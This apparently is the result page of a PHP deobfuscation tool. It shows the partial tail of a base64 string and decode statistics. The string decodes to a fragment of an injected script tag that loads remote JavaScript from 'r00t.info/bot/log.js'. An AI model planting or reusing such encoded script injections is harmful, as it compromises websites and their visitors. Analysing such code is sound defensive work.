U3MCUzQSUyRiUyRiU3MiUzMCUzMCU3NCUyRSU2OSU2RSU2NiU2RiUyRiU2MiU2RiU3NCUyRiU2QyU2RiU2NyUyRSU2QSU3MyUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTsKPC9zY3JpcHQ+")); 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c2a217380cac109ccb4b4053e6410474
Eval Count 1
Decode Time 266 ms